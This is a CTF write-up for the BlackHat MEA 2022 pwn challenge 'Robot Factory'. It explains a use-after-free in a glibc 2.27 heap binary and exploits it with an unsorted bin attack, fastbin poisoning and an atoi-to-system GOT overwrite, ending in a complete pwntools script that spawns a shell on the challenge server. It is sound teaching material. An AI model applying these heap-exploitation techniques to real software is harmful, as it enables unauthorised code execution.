During this weekend, I played BlackHat MEA CTF 2022 with my team Fidethus. We managed to secure the 12th position on this CTF. Here are some of my write-ups for challenges that I solved during the CTF.
pwn
Robot Factory
Initial Analysis
Let’s start by checking the binary via checksec.
1
2
3
4
5
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Okay, so the binary is No PIE and Partial RELRO. This will help a lot! Now, let’s check the given Dockerfile
FROM ubuntu:18.04
RUN apt-get update && apt-get -y upgrade
RUN useradd -d /home/task/ -m -p task -s /bin/bash task
RUN echo "task:task" | chpasswd
WORKDIR /home/task
COPY main .
COPY flag.txt .
COPY ynetd .
COPY run.sh .
RUN chown -R root:root /home/task
RUN chmod 755 ynetd
RUN chmod 755 main
RUN chmod 777 flag.txt
RUN chmod 755 run.sh
USER task
CMD ["./run.sh"]
Okay, so the challenge is running in Ubuntu 18.04, and it uses libc-2.27 as the glibc version. Now, let’s try to analyze the binary by disassembling it.
undefined8robots_factory(void){intiVar1;puts("Welcome to the secret robots factory!");while(true){menu();iVar1=read_int();if(iVar1==4)break;if(iVar1<5){if(iVar1==3){destroy_robot();}elseif(iVar1<4){if(iVar1==1){new_robot();}elseif(iVar1==2){program_robot();}}}}return0;}
We can see that the binary only gave us 3 menus, new, program, and destroy. Let’s check those methods.
voidnew_robot(void){intiVar1;void*pvVar2;longin_FS_OFFSET;uintlocal_20;charlocal_15[5];longlocal_10;local_10=*(long*)(in_FS_OFFSET+0x28);if(number_robots<5){puts("Provide robot memory size:");read(0,local_15,4);iVar1=atoi(local_15);if(iVar1<0x101){puts("you\'re creating a stupid robot.");}else{for(local_20=0;(int)local_20<5;local_20=local_20+1){if(*(int*)(check_robot_slot+(long)(int)local_20*4)==0){pvVar2=calloc(1,(long)iVar1);*(void**)(robots+(long)(int)local_20*8)=pvVar2;*(undefined4*)(check_robot_slot+(long)(int)local_20*4)=1;*(int*)(robot_memory_size+(long)(int)local_20*4)=iVar1;printf("You got new page at index %d\n",(ulong)local_20);number_robots=number_robots+1;break;}}}}else{puts("All slots are occupied :(");}if(local_10!=*(long*)(in_FS_OFFSET+0x28)){/* WARNING: Subroutine does not return */__stack_chk_fail();}return;}
We can notice some interesting notes from that method:
The max size of the total active allocated chunks is only 5
We can only allocate chunks with size larger than 0x101, and based on the atoi method, the size is limited to 4 digits (which means the max value is 9999)
Instead of malloc, it uses calloc. We will discuss the key differences later.
The allocated chunk (we call it as robot) address is stored in global variable robots
The size of the robot is also stored in a global variable called robot_memory_size.
There is also a global variable called check_robot_slot which will be assigned to 1 if we create a new robot
There’s also number_robots global variable, which will count how many robot we’ve created.
So far, we didn’t see any bugs. Let’s move to the other methods.
voiddestroy_robot(void){intiVar1;longin_FS_OFFSET;charlocal_15[5];longlocal_10;local_10=*(long*)(in_FS_OFFSET+0x28);puts("Provide robot\'s slot:");read(0,local_15,4);iVar1=atoi(local_15);if((iVar1<0)||(4<iVar1)){puts("Slot is empty!");}elseif(*(int*)(check_robot_slot+(long)iVar1*4)==0){puts("robot doesn\'t exist!");}else{free(*(void**)(robots+(long)iVar1*8));*(undefined4*)(check_robot_slot+(long)iVar1*4)=0;number_robots=number_robots+-1;}if(local_10!=*(long*)(in_FS_OFFSET+0x28)){/* WARNING: Subroutine does not return */__stack_chk_fail();}return;}
Notice that this destroys robot only nullify the check_robot_slot flag, but doesn’t null the robots pointer. This might be a bug.
voidprogram_robot(void){intiVar1;longin_FS_OFFSET;charlocal_15[5];longlocal_10;local_10=*(long*)(in_FS_OFFSET+0x28);puts("Provide robot\'s slot:");read(0,local_15,4);iVar1=atoi(local_15);if((iVar1<0)||(4<iVar1)){puts("Slot is empty!");}elseif(*(long*)(robots+(long)iVar1*8)!=0){puts("Program the robot:");read(0,*(void**)(robots+(long)iVar1*8),(long)*(int*)(robot_memory_size+(long)iVar1*4));}if(local_10!=*(long*)(in_FS_OFFSET+0x28)){/* WARNING: Subroutine does not return */__stack_chk_fail();}return;}
This is the edit function, where we can set the data of our allocated chunk. Notice that instead of using check_robot_slot, it still refers to the robots array to check whether a robot is freed or not.
That means, even though we free the robot chunk, we can still edit it. This is a Use-After-Free bug.
So, that’s all the methods that can we use. Notice that there isn’t any print or view method, which means by default, we can’t leak anything. This will make the exploitation harder.
Exploitation Plan
Now that we’ve known that there is a UAF bug, let’s summarize our findings so far:
GLIBC version is 2.27
That means there is tcache bin, and every time we free a chunk with size < 0x401, it will go to tcache bin first until it fulls
When the tcache bin is full, based on its size, it will go to either unsortedbin or fastbin. By default, if the size is larger than 0x80, it will go to unsortedbin. Else, it will go to fastbin.
It uses calloc instead of malloc
What makes it differs is that calloc doesn’t use tcache bin at all. But, it can use fastbin or unsortedbin.
So, if we free a chunk and it goes to tcache, if we call calloc again with the same freed size, it won’t use the tcache. Instead, it will create a new chunk.
No PIE and Partial Relro, which means we can overwrite GOT easily as the address is fixed (Only if we can create arbitrary write primitive).
There is a UAF bug in the program, which allow us to edit freed chunk.
The minimum allocation is 0x101, which means it will go to either tcache or unsortedbin.
Based on that summary, let’s try to think about how should we attack this binary. After reading a lot of resources on the internet and thinking for a while, I found a working plan that could work. First, let’s examine the global variable structure (To find the address, you can use gdb vmmap command to find the rw area of the binary)
Notice that the robots array is located at a higher address. If we’re somehow able to forge our good-sized chunk location so that it points to the area of robot_memory_size or check_robot_slot, we will be able to create an arbitrary write primitive, because if we call program_robot on that chunk, it will be able to edit robots array as well, where we can simply fill one of the elements with the target address that we want to overwrite, and then use program_robot again on the overwritten index to do arbitrary write.
Also because it is No PIE, the address is fixed, so we don’t need a leak. Now moving to the next question, how can we forge a chunk so that it points to the global variable area?
Remember that calloc doesn’t use tcache at all so that we can’t poison tcache pointers. We left with forging the metadata of fastbin chunk, but due to the limitation where we can only allocate chunk with size larger than 0x101, we can’t free chunk to the fastbin (It will go to unsortedbin).
After reading resources, turn out fastbin has a variable called global_max_fast, which stored the maximum size of a chunk that can be freed to fastbin. So, we need a way to change this value, so that if we free chunk with size larger than 0x80 (the default value stored), it will go to fastbin.
The trick here is to perform unsorted bin attack. You can find this attack in how2heap repo and this blog.
To give more explanation, let’s check on the gdb first to see the structure of the unsorted bin chunk. You can just try to allocate a big chunk, and then free it in the binary.
Notice that the unsorted bin chunk stored a pointer to the main_arena+96, and it is near the global_max_fast. Let’s try to calloc the chunk again, and see what happens to the stored pointer value.
Notice that the main_arena+112 value is changed! So, if we’re able to overwrite the stored pointer of the unsorted bin chunk to global_max_fast-0x10, then we allocate the chunk again, we will be able to overwrite global_max_fast value to a huge value so that whenever we freed a chunk after the tcache bin is full, it will go to fastbin (Because the max size is no longer 0x80).
An important note is that, after we do this, the unsortedbin will be corrupted, so we need to ensure that all calloc after this point will use the cached chunks stored in the fastbin. We will discuss this more later.
Now that we found a way to manipulate the fastbin max size, we can move to how to use this in our plan. As you remember, calloc never use tcache bin, so it is very easy to make the tcache full, we just need to create and free it repeatedly. And after it’s full, when we freed a chunk, it will go to fastbin, and calloc is now able to use cached chunk.
Now, remember that we have UAF bug where we can edit robot after it is freed. That means if we’re able to free some robots to the fastbin, we can simply overwrite the fastbin linked list pointer so that it points to our targeted address. And then after calloc, we will get our arbitrary write primitive that we covered before.
To summarize the rough plan:
Do unsorted bin attack to overwrite global_max_fast
Now, freed some chunks to the fastbin
With UAF, overwrite the chunks stored pointer to our targeted address.
Allocate it
And now, we got a robot which stores a pointer that points to our targeted address, and we can tamper its data (For example, we can use this to overwrite the GOT table).
Remember that we still don’t have a leak up to this point. Because of it, my solution required us to do some brute forcing. The detailed explanation will come in the detailed solution
Detailed Solution
Now, based on those rough plans, let’s try to do detailed steps on how will we exploit this. To make our life easier, let’s try to create a helper first
After that, let’s prepare some offset that we will use later during doing GOT overwriting.
1
2
3
4
# Due to no leak, we need to bruteforce so that this solution will work only if the last two bytes# of the libc base is 00 00 (0x0000)global_max_fast=0xd940# This is the only offset that will worksystem_offset=0xf420# This is the only offset that will work
Remember that we don’t have any leaks, so brute forcing is required.
In this solution, we plan to overwrite atoi GOT address with system offset. The assumption is that this solution will work only and only if:
The libc base address two least significant bytes is 0x0000. For example 0x007ffff79e0000 will work.
Only if the base address fulfills those criteria that our solution will be able to work. Why? Because on libc 2.27:
The Offset of atoi is 0x40670
The Offset of system is 0x4f420
If the libc base address two least significant bytes starting with 0x0000, then we can partially overwrite two bytes of the GOT entry of atoi.
For example, if the base starts with 0x1000, that means the atoi address will be 0x41670, and system is 0x50420. Notice that if we overwrite two bytes of the atoi with 0x0420, it will become 0x40420, and it isn’t the correct address for system
Now we have found the correct offset, let’s move to the heap exploitation.
1
2
3
4
5
6
7
8
# Fill tcache[0x110] until it got fulltcache_size=0x108offset_increment=0x260# Based on gdb observation, when we create the first chunk, the offset will be heap_offset + 0x260foriinrange(7):# We can do this because calloc doesn't use tcachecreate(r,tcache_size)free(r,0)log.info("Fulfill tcache...")pause()
Our target is to fulfill the tcache[0x110] bin. Because calloc doesn’t use tcache, we can simply repeatedly create and free to fulfill the tcache.
And yup, tcache is full now. Let’s move to the next step, which is trying to overwrite global_max_fast value.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Create two chunk with size 0x108# These will be used laterforiinrange(2):create(r,tcache_size)# Create huge chunkmax_size=0x2700create(r,max_size)# Create small chunk, so that when we free huge chunk, it won't get consolidatedcreate(r,0x111)# This will be used as fake chunk later. We need to set the size to 0x111free(r,2)# Go to unsorted binlog.info("Now we have unsorted bin chunk")
Now, what we do:
Create 2 small chunks with size 0x108, so that later when we freed this, it will go to fastbin when we have overwritten the global_max_fast.
Create a huge chunk with size 0x2700. Later, when we free this, it will go to unsortedbin.
Create two more small chunks just below the huge chunk with size specifically 0x111 for 2 reasons:
So that when we free the huge chunk, it won’t be consolidated.
So that the last entry of robot_memory_size will store value 0x111. This will be important later when we want to create the arbitrary write primitive.
Let’s check in gdb:
1
2
3
4
5
gef➤ heap bins unsorted
──────────────────────────────────────────── Unsorted Bin for arena at 0x7ffff7dcdc40 ────────────────────────────────────────────
[+] unsorted_bins[0]: fw=0x405be0, bk=0x405be0
→ Chunk(addr=0x405bf0, size=0x2710, flags=PREV_INUSE)
[+] Found 1 chunks in unsorted bin.
Now, we can start our unsorted bin attack via UAF.
1
2
3
4
5
# With UAF, modify the unsorted bin chunk bk to the global_max_fast-0x10payload=p64(0)+p64(global_max_fast-0x10)[:2]edit(r,2,payload)log.info("Now bk point to global_max_fast")pause()
With UAF, overwrite the stored pointer in the unsorted bin chunk to global_max_fast-0x10. As you can see in the below gdb result, the stored pointer is now changed.
This requires bruteforce, where this overwriting process will work only if the last two bytes of the libc base are all 0 (0x0000).
For the sake of simplicity, during writing this writeup, I simply change the previously defined global_max_fast offset to the correct offset in my local, which is 0xf940.
Now, let’s allocate the same chunk, and you will notice that the global_max_fast value will be overwritten with a huge value (which is an address of libc).
1
2
3
4
5
BEFORE
0x7ffff7dcf940 <global_max_fast>: 0x0000000000000080
AFTER
0x7ffff7dcf940 <global_max_fast>: 0x00007ffff7dcdca0
Now, after this, when we freed any chunk, it will go to fastbin due to the huge value stored in the global_max_fast. Let’s free 2 chunks that we have created before.
1
2
3
4
5
# Now, when we free our previous three chunks, it will go to fastbin
free(r,1)
free(r,0)
log.info("Now, we have fastbin chunk with size 0x110")
pause()
Check on gdb, after the above execution, we successfully cache the robots[0] and robots[1] chunks to fastbin[0x110].
Now, with UAF, we want to overwrite the atoi GOT entry to system. First, let’s corrupt our fastbin chunk, to point to the robot_memory_size_offset[3], which mean the fake chunk metadata size is robot_memory_size_offset[4].
Fastbin is pretty strict, where we need to forge the next pointer to point to the same size fastbin chunk. This is the reason why we set robots[4] size to 0x111, so that our fake chunk (which points to robot_memory_size_offset[3]) will have size metadata 0x111 (just like the value stored in robot_memory_size_offset[4]). Because of this, our exploit to change the fastbin linked list will be working well.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# We are going to overwrite atoi got with systematoi_got=exe.got['atoi']log.info(f'atoi address: {hex(atoi_got)}')# Points to the size of robots[3]# Remember that fastbin is pretty strict with its chunk size, which is why we previously set# The robots[4] size to 0x111, so that it can be used as a fake fastbin chunk with size 0x110robot_memory_size_offset=0x4040c8edit(r,0,p64(robot_memory_size_offset))# UAF,overwrite fastbin pointer to the robot memory size offsetcreate(r,tcache_size)create(r,tcache_size)# Now robot[1] point to the desired offset. We now have arbitrary writelog.info(f'Now, robots[1] point to the desired offset')pause()
After the above execution, inspecting in gdb, we successfully create our arbitrary write primitive in the robots[1].
Now, with the feature program_robot, we can modify the robots array stored value, so that it points to our desired address. We can do this because the stored size of robots[1] in robot_memory_size array is large enough to reach the robots. Then with the program_robot to the element robots[0], we can write any value that we want.
1
2
3
4
5
6
7
payload=p64(1)*2payload+=p64(1)*3payload+=p64(atoi_got)# Set robots[0] to atoi GOTedit(r,1,payload)# Arbitrary writeedit(r,0,p64(system_offset)[:2])# Partial overwrite atoi to systemlog.info(f'Now, atoi is changed to system')pause()
Notes that as mentioned before, this required bruteforce. For the sake of simplicity in this writeup, I manually set the correct system offset in my local. Below is the gdb inspection result.
1
2
3
4
5
6
7
BEFORE
[0x404058] atoi@GLIBC_2.2.5 → 0x7ffff7a22670
AFTER
[0x404058] atoi@GLIBC_2.2.5 → 0x7ffff7a31420
gef➤ x/gx 0x7ffff7a31420
0x7ffff7a31420 <__libc_system>: 0xfa66e90b74ff8548
Now, let’s take a step back to look at the robots_factory menu code.
undefined8robots_factory(void){intiVar1;puts("Welcome to the secret robots factory!");while(true){menu();iVar1=read_int();if(iVar1==4)break;if(iVar1<5){if(iVar1==3){destroy_robot();}elseif(iVar1<4){if(iVar1==1){new_robot();}elseif(iVar1==2){program_robot();}}}}return0;}
To process our input, it will call read_int.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
intread_int(void){intiVar1;longin_FS_OFFSET;charlocal_15[5];longlocal_10;local_10=*(long*)(in_FS_OFFSET+0x28);read(0,local_15,4);iVar1=atoi(local_15);if(local_10!=*(long*)(in_FS_OFFSET+0x28)){/* WARNING: Subroutine does not return */__stack_chk_fail();}returniVar1;}
As you can see, we can send a string with size limited to 4, and it will be passed to atoi.
That means we just need to simply send sh during inputting the usual menu, and we gain a shell. In remote, We just need to run the below script many times, and if the ASLR of the libc base’s last two bytes is 0x0000, we will successfully spawn the shell, like the picture below.
frompwnimport*frompwnimportp64,u64,p32,u32context.arch='amd64'context.encoding='latin'context.log_level='INFO'warnings.simplefilter("ignore")exe=ELF("./main_patched")libc=ELF("./libc-2.27.so")ld=ELF("./ld-2.27.so")context.binary=exedefconn():ifargs.LOCAL:r=process([exe.path])ifargs.PLT_DEBUG:gdb.attach(r)else:url='blackhat2-ea1a9ec94289cd9df8e692f6ce7c828e-0.chals.bh.ctf.sa'r=remote(url,443,ssl=True,sni=url)returnrdefcreate(r,size):r.sendlineafter(b'> ',b'1')r.sendlineafter(b'size:\n',str(size).encode())defedit(r,idx,payload):r.sendlineafter(b'> ',b'2')r.sendlineafter(b'slot:',str(idx).encode())r.sendafter(b'robot:',payload)deffree(r,idx):r.sendlineafter(b'> ',b'3')r.sendlineafter(b'slot:',str(idx).encode())r=conn()# Due to no leak, we need to bruteforce so that this solution will work only if the last two bytes# of the libc base is 00 00 (0x0000)global_max_fast=0xd940system_offset=0xf420# Fill tcache[0x110] until it got fulltcache_size=0x108offset_increment=0x260# Based on gdb observation, when we create the first chunk, the offset will be heap_offset + 0x260foriinrange(7):# We can do this because calloc doesn't use tcachecreate(r,tcache_size)free(r,0)log.info("Fulfill tcache...")pause()# Create two chunk with size 0x108# These will be used laterforiinrange(2):create(r,tcache_size)# Create huge chunkmax_size=0x2700create(r,max_size)# Create small chunk, so that when we free huge chunk, it won't get consolidatedcreate(r,0x111)create(r,0x111)# This will be used as fake chunk later. We need to set the size to 0x111free(r,2)# Go to unsorted binlog.info("Now we have unsorted bin chunk")pause()# With UAF, modify the unsorted bin chunk bk to the global_max_fast-0x10payload=p64(0)+p64(global_max_fast-0x10)[:2]edit(r,2,payload)log.info("Now bk point to global_max_fast")pause()# Now this create will overwrite global_max_fast to random huge valuecreate(r,max_size)log.info("global_max_fast got overwritten")pause()# Now, when we free our previous three chunks, it will go to fastbinfree(r,1)free(r,0)log.info("Now, we have fastbin chunk with size 0x110")pause()# We are going to overwrite atoi got with systematoi_got=exe.got['atoi']log.info(f'atoi address: {hex(atoi_got)}')# Points to the size of robots[4]# Remember that fastbin is pretty strict with its chunk size, which is why we previously set# The robots[4] size to 0x111, so that this can be used as a fake fastbin chunk with size 0x110robot_memory_size_offset=0x4040c8edit(r,0,p64(robot_memory_size_offset))# UAF,overwrite fastbin pointer to the robot memory size offsetcreate(r,tcache_size)create(r,tcache_size)# Now robot[1] point to the desired offset. We now have arbitrary writelog.info(f'Now, robots[1] point to the desired offset')pause()payload=p64(1)*2payload+=p64(1)*3payload+=p64(atoi_got)# Set robots[0] to atoi GOTedit(r,1,payload)# Arbitrary writeedit(r,0,p64(system_offset)[:2])# Partial overwrite atoi to systemlog.info(f'Now, atoi is changed to system')pause()r.interactive()# Now, enter sh, and atoi(input) will be system("sh")